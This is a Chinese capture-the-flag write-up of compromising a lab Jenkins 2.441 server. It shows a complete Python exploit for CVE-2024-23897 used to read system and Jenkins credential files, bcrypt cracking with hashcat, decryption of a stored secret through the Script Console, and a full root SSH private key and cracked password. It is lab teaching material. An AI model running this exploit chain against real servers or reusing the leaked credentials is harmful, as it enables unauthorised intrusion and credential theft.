1 2 3 4 5 ip a 10.129.230.220 TARGET="10.129.230.220"
01.信息搜集 靶机发现 目标靶机 ip 为
1 2 3 4 5 6 fscan -h $TARGET > fscan.log 22 8080 grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+' result.txt | sed 's/^.*://' | sort -nu
两个 http 一个 mqtt 服务
02.渗透打点 端口扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 sudo nmap -sT -sV -sC -O -p 22,8080 $TARGET -oA nmapscan/detailPORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 8080/tcp open http Jetty 10.0.18 |_http-server-header: Jetty(10.0.18) | http-open-proxy: Potentially OPEN proxy. |_Methods supported:CONNECTION |_http-title: Dashboard [Jenkins] | http-robots.txt: 1 disallowed entry |_/ sudo nmap -Pn -sV -A -p 445 -T4 $TARGET
UDP 扫描 1 sudo nmap -sU --top-ports 20 $TARGET -oA nmapscan/udp
03.渗透测试 web-Jenkins服务 2.441 用户jennifer system root SSH Username with private key
没看到什么交互 cve看看
创建目标列表 1 echo "http://10.129.230.220:8080" > ./scans/live-urls.txt
Nuclei 指纹定向扫描 1 2 3 4 5 6 7 8 nuclei -disable-update-check \ -l ./scans/live-urls.txt \ -t /Users/choco/Project/HackTool/templates/nuclei-templates/ \ -t /Users/choco/Project/HackTool/templates/community/ \ -tags jenkins \ -severity critical,high,medium \ -o ./scans/nuclei-tech-results.txt \ -jsonl -j ./scans/nuclei-results.jsonl
Nuclei 全量扫描 1 2 3 4 5 6 7 nuclei -disable-update-check \ -l ./scans/live-urls.txt \ -t /Users/choco/Project/HackTool/templates/nuclei-templates/ \ -t /Users/choco/Project/HackTool/templates/community/ \ -severity critical,high,medium \ -o ./scans/nuclei-results.txt \ -jsonl -j ./scans/nuclei-results.jsonl
命中 CVE 提取 1 2 3 grep -oE 'CVE-\d{4}-\d+' ./scans/nuclei-results.txt | sort -u > ./scans/hit-cves.txt CVE-2024-23897 CVE-2024-43044
查找 PoC 1 2 3 4 5 6 7 while read cve; do echo ">>> 处理 $cve" /Users/choco/Project/HackTool/tools/cve-find.sh "$cve" done < ./scans/hit-cves.txt /Users/choco/Project/HackTool/templates/community/nuclei_poc/poc/cve/CVE-2025-23897.yaml /Users/choco/Project/HackTool/templates/community/nuclei_poc/poc/cve/CVE-2024-43044_1.yaml
一个个看吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 id: CVE-2025-23897 info: name: > Apply with LinkedIn buttons <= 2.3 - Authenticated (Contributor+) Stored Cross-Site Scripting author: topscoder severity: low description: > The Apply with LinkedIn buttons plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. reference: - https://github.com/topscoder/nuclei-wordfence-cve - https://www.wordfence.com/threat-intel/vulnerabilities/id/fd204edd-375e-437d-9964-bbf3b8abeab8?source=api-prod metadata: fofa-query: "wp-content/plugins/apply-with-linkedin-buttons/" google-query: inurl:"/wp-content/plugins/apply-with-linkedin-buttons/" shodan-query: 'vuln:CVE-2025-23897' tags: cve,wordpress,wp-plugin,apply-with-linkedin-buttons,low http: - method: GET redirects: true max-redirects: 3 path: - "{{BaseURL}}/wp-content/plugins/apply-with-linkedin-buttons/readme.txt" /Users/choco/Project/HackTool/exploits/exploitdb/exploits/java/webapps/51993.py parser.add_argument("-u", "--url", required=True, help="The url of the vulnerable Jenkins service. Ex: http://helloworld.com/") parser.add_argument("-p", "--path", help="The absolute path of the file to download")
下一个 /etc/passwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 python 1.py -u http://10.129.230.220:8080 > /etc/hosts File to download: > robots.txt File not found. File to download: > /var/www/html/robots.txt File not found. File to download: > /../../../../../../../etc/shadow Could not read file.
读哪去了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 #!/usr/bin/env python3 """ CVE-2024-23897 — Jenkins CLI arbitrary file read Exploit Author: Matisse Beckandt (Backendt) Optimized: sync I/O, stable output, interactive + one-shot """ import re import sys import threading import time from argparse import ArgumentParser from uuid import uuid4 import requests def make_path_absolute(filepath: str) -> str: if not filepath.startswith("/"): return f"/proc/self/cwd/{filepath}" return filepath def build_payload(filepath: str) -> bytes: def msg(op: int, text: str) -> bytes: tb = text.encode() size = len(tb) + 2 return size.to_bytes(4) + op.to_bytes(1) + len(tb).to_bytes(2) + tb return msg(0, "connect-node") + msg(0, f"@{filepath}") + b"\x03" def read_file(url: str, filepath: str, timeout: int = 10) -> str: """download 先就绪 → upload 发 payload → 收 download 结果""" uid = str(uuid4()) params = {"remoting": "false"} payload = build_payload(filepath) result_container: list = [] def do_download(): try: r = requests.post( url, params=params, headers={"Side": "download", "Session": uid}, stream=True, timeout=timeout, ) # stream 模式:累加 chunk,Jenkins 关连接时会抛异常,数据已拿到 chunks = [] try: for chunk in r.iter_content(chunk_size=4096): if chunk: chunks.append(chunk) except requests.exceptions.ConnectionError: pass result_container.append(b"".join(chunks).decode("utf-8", errors="replace")) except Exception as e: result_container.append(f"[!] download error: {e}") # 1. 启动 download 线程(先就绪) t = threading.Thread(target=do_download) t.start() time.sleep(0.3) # 2. 发送 upload payload try: requests.post( url, params=params, headers={"Side": "upload", "Session": uid}, data=payload, timeout=timeout, ) except requests.exceptions.ConnectionError: pass # upload 也可能被 Jenkins 断连,正常 # 3. 等 download 收完 t.join(timeout=timeout) return result_container[0] if result_container else "[!] no response" def parse_output(raw: str) -> list[str]: if "ERROR: No such file" in raw: return ["[!] File not found"] if "ERROR: Failed to parse" in raw: return ["[!] Could not read file (permission denied or binary)"] lines = re.findall(r'No such agent "(.*)" exists\.', raw) return lines if lines else [f"[?] No parsed output — raw:\n{raw[:500]}"] def main(): parser = ArgumentParser(description="CVE-2024-23897 Jenkins LFI") parser.add_argument("-u", "--url", required=True, help="Jenkins base URL") parser.add_argument("-p", "--path", help="File path on server (skip for interactive)") parser.add_argument("--raw", action="store_true", help="Print raw response") args = parser.parse_args() url = args.url.rstrip("/") + "/cli" if args.path: filepath = make_path_absolute(args.path) print(f"[*] Reading: {filepath}") raw = read_file(url, filepath) if args.raw: print(raw) else: for line in parse_output(raw): print(line) return print("Interactive mode — Press Ctrl+C to exit") while True: try: path = input("> ").strip() if not path: continue filepath = make_path_absolute(path) print(f"[*] {filepath}") raw = read_file(url, filepath) for line in parse_output(raw): print(line) except KeyboardInterrupt: print("\nQuit") break if __name__ == "__main__": main()
修了一下可以了
1 2 3 4 5 [*] Reading: /etc/passwd www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin root:x:0:0:root:/root:/bin/bash ... jenkins:x:1000:1000::/var/jenkins_home:/bin/bash
然后读一下 jenkins 的网页信息
1 2 3 4 5 6 7 Jenkins 启动之后,会默认的在/root 目录下生成一个.Jenkins 的目录,这个就是 Jenkins 的家目录 [root@xdjenkins] .jenkins $ll -rw------- 1 root root 11344 Apr 17 16:50 config.xml ... drwxr-xr-x 12 root root 181 Apr 17 19:45 users
要获取 Jenkins 的安装路径,因为里面存放了用户配置和密码哈希
1 2 3 4 5 6 7 8 9 10 11 12 13 [*] Reading: /proc/self/environ HOSTNAME=0f52c222a4cc JENKINS_UC_EXPERIMENTAL=https://updates.jenkins.io/experimental JAVA_HOME=/opt/java/openjdk JENKINS_INCREMENTALS_REPO_MIRROR=https://repo.jenkins-ci.org/incrementals COPY_REFERENCE_FILE_LOG=/var/jenkins_home/copy_reference_file.log PWD=/JENKINS_SLAVE_AGENT_PORT=50000 JENKINS_VERSION=2.441 HOME=/var/jenkins_home LANG=C.UTF-8 JENKINS_UC=https://updates.jenkins.ioSHLVL=0 JENKINS_HOME=/var/jenkins_homeREF=/usr/share/jenkins/ref PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=0f52c222a4cc 是一串随机字符,说明 Jenkins 很可能运行在 Docker 容器里,而不是直接在宿主机上。 JAVA_HOME=/opt/java/openjdk HOME=/var/jenkins_home
读一下 config
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 python 1.py -u http://10.129.230.220:8080 -p /var/jenkins_home/.jenkins/config.xml <primaryView>all</primaryView> <label></label> <clouds/> <disabledAdministrativeMonitors/> </authorizationStrategy> <hudson> <excludeClientIPFromCrumb>false</excludeClientIPFromCrumb> </hudson.model.AllView> </crumbIssuer> <disableRememberMe>false</disableRememberMe> <authorizationStrategy class="hudson.security.FullControlOnceLoggedInAuthorizationStrategy"> <viewsTabBar class="hudson.views.DefaultViewsTabBar"/> </hudson> <numExecutors>2</numExecutors> <disableSignup>true</disableSignup> <properties class="hudson.model.View$PropertyList"/> </views> <globalNodeProperties/> <enableCaptcha>false</enableCaptcha> <workspaceDir>${JENKINS_HOME}/workspace/${ITEM_FULL_NAME}</workspaceDir> <denyAnonymousReadAccess>false</denyAnonymousReadAccess> <scmCheckoutRetryCount>0</scmCheckoutRetryCount> <?xml version='1.1' encoding='UTF-8'?> </securityRealm> <projectNamingStrategy class="jenkins.model.ProjectNamingStrategy$DefaultProjectNamingStrategy"/> <crumbIssuer class="hudson.security.csrf.DefaultCrumbIssuer"> <name>all</name> <nodeProperties/> <views> <slaveAgentPort>50000</slaveAgentPort> <useSecurity>true</useSecurity> <buildsDir>${ITEM_ROOTDIR}/builds</buildsDir> <jdks/> <version>2.441</version> <owner class="hudson" reference="../../.."/> <nodeRenameMigrationNeeded>false</nodeRenameMigrationNeeded> <filterExecutors>false</filterExecutors> <filterQueue>false</filterQueue> <securityRealm class="hudson.security.HudsonPrivateSecurityRealm"> <myViewsTabBar class="hudson.views.DefaultMyViewsTabBar"/> <hudson.model.AllView> <mode>NORMAL</mode>
1 2 3 4 5 <denyAnonymousReadAccess>false</denyAnonymousReadAccess> # 它明确允许未认证(匿名)用户读取 Jenkins 的数据 <authorizationStrategy class="hudson.security.FullControlOnceLoggedInAuthorizationStrategy"> # 一旦用户登录,就拥有完全控制权(相当于管理员)
找用户 /var/jenkins_home/users/users.xml
1 2 3 4 python 1.py -u http://10.129.230.220:8080 -p /var/jenkins_home/users/users.xml [*] Reading: /var/jenkins_home/users/users.xml <?xml version='1.1' encoding='UTF-8'?> <string>jennifer_12108429903186576833
继续读用户的账号密码 /var/jenkins_home/users/jennifer_12108429903186576833/config.xml
1 2 3 4 <fullName>jennifer</fullName> <seed>6841d11dc1de101d</seed> <id>jennifer</id> <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>
这就是 jennifer 的密码哈希(bcrypt 格式)
解哈希
1 2 3 4 5 6 #jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a hashcat -m 3200 hash.txt wordlists/rockyou.txt $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a:princess
场景
hashcat 模式
示例格式
NTLM
-m 1000
aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
NTLMv2 (Net-NTLMv2)
-m 5600
DOMAIN\USER::SERVER:CHALLENGE:RESPONSE:...
Kerberos 5 TGS-REP (AES256)
-m 19700
$krb5tgs$18$...
Kerberos 5 TGS-REP (RC4)
-m 13100
$krb5tgs$23$...
Kerberos 5 AS-REP (RC4)
-m 18200
$krb5asrep$23$...
MSSQL (2012+)
-m 1731
0x0200...
MSSQL (2000)
-m 132
0x0100...
MySQL4.1/MySQL5
-m 300
*FCE8...
SHA256
-m 1400
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
SHA512
-m 1700
64位十六进制
MD5
-m 0
5f4dcc3b5aa765d61d8327deb882cf99
bcrypt / Blowfish
-m 3200
$2a$10$...
Linux shadow SHA512crypt
-m 1800
$6$rounds=5000$...
Office 2013 (SHA1)
-m 9600
用于破解加密的 Excel/Word
ZIP 加密
-m 17220 / -m 17225
取决于 ZIP 版本
PDF
-m 10500 / -m 10600
取决于 PDF 版本
读到密码: princess
web 登录成功
前面 config.xml 可知 jennifer 权限非常高(也只有她一个人在运维)
看着能读 root 的东西http://10.129.230.220:8080/manage/
-> Manage Jenkins -> Credentials -> Stores scoped to Jenkins
拿到私钥
1 {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}
去解密 注意别有换行 -> Manage Jenkins -> Tools and Actions -> Script Console
1 println(hudson.util.Secret.decrypt("{AQAABAAAAOWLrFcrZx9ba...}"))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 -----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY-----
感觉 root 了
1 2 chmod 600 root_key ssh -i root_key root@10.129.230.220